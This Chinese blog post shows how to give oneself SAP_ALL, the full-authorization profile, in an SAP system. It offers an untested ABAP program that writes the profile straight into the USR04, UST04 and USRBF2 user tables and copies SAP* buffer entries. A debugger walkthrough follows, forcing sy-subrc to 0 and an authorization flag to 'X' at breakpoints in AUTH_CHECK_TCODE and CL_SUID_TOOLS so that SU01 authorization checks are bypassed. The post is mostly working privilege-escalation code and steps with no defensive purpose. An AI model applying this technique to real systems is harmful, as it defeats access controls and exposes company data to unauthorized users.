欢迎来到萧静默的博客

书山有路勤为径,学海无涯苦作舟。

如何获取SAP_ALL权限 的代码(还没测试转自SAP翔子)

TABLES : usr01.
DATA: l_usr04  LIKE usr04,
l_ust04  LIKE ust04,
l_profs  LIKE usr04-profs,
l_usrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE,
l_userid LIKE usr01-bname.
SELECT-OPTIONS: p_user FOR usr01-bname .
START-OF-SELECTION.
SELECT SINGLE * INTO l_usr04 FROM usr04 WHERE bname IN p_user.
MOVE 'C SAP_ALL' TO l_profs .
l_usr04-nrpro = '14'.
l_usr04-profs = l_profs.
UPDATE usr04 FROM l_usr04 .
l_userid = l_usr04-bname.
SELECT SINGLE * INTO l_ust04 FROM ust04 WHERE bname IN p_user.
l_ust04-profile = 'SAP_ALL'.
UPDATE ust04 FROM l_ust04 .
SELECT * FROM usrbf2 INTO TABLE l_usrbf2 WHERE bname = 'SAP*' .
LOOP AT l_usrbf2.
 l_usrbf2-bname = l_userid.
 MODIFY l_usrbf2 INDEX sy-tabix TRANSPORTING bname.
ENDLOOP.
INSERT usrbf2 FROM TABLE l_usrbf2 ACCEPTING DUPLICATE KEYS.

 

目的:SU01在用户参数文件加上SAP_ALL,实现可以取得 ALL权限。
前提:账号要有Debug改值的权限

运行SU01报错,没有SU01权限

  • Step1.运行SU01 看到报错:消息号 S#077

(如果这里不报错,请直接看Step3)

根据技术信息可以找到他报错的位置

FUNCTION        / AUTH_CHECK_TCODE

 

  • Step2. 再次运行SU01

进入刚设置的断点,将SY-SUBRC的值改为0,F8运行

就可以进入SU01界面

  • Step3. 填上自己账号,并点击编辑

But 再次报错

 

 

  • Step4. SE38进入程序:CL_SUID_TOOLS=================CM00B,

在这句设置断点

 if sy-subrc eq 0. "Auth check in cache.

      if ls_cache_auth_node-authorized ne 'X'.

        es_msg = ls_cache_auth_node-msg.

      endif.

      return.

 endif.

 

  • Step5. 运行SU01 进入断点:

CL_SUID_TOOLS================= / CL_SUID_TOOLS================= / 47

METHOD          / AUTH_CHECK_SINGLE (CL_SUID_TOOLS)

将1 sy-subrc 不是0时改成0 
2 ls_cache_auth_node-authorized 改成'X'

注意:这里要改多次值,标注程序很多个权限对象,如果改值不充分,可能会出现报错

如:

这时候是编辑不了角色或者参数文件的。

  • Step6. 改完变量,进入SU01编辑界面,在参数文件里加上SAP_ALL ,并保存
    注意过程中如果进断点,也是要改值的,同上
    将1 sy-subrc 不是0时改成0 
       2 ls_cache_auth_node-authorized 改成'X'

 

  • Step7. 再测试一下SU01

1 可以直接进入编辑
2 参数文件里有SAP_ALL

获取ALL权限成功


 

单击赋能

最简便的方式,开发个程序,一键单击搞定,

posted @ 2020-01-02 11:53  萧静默  阅读(1163)  评论(0编辑  收藏  举报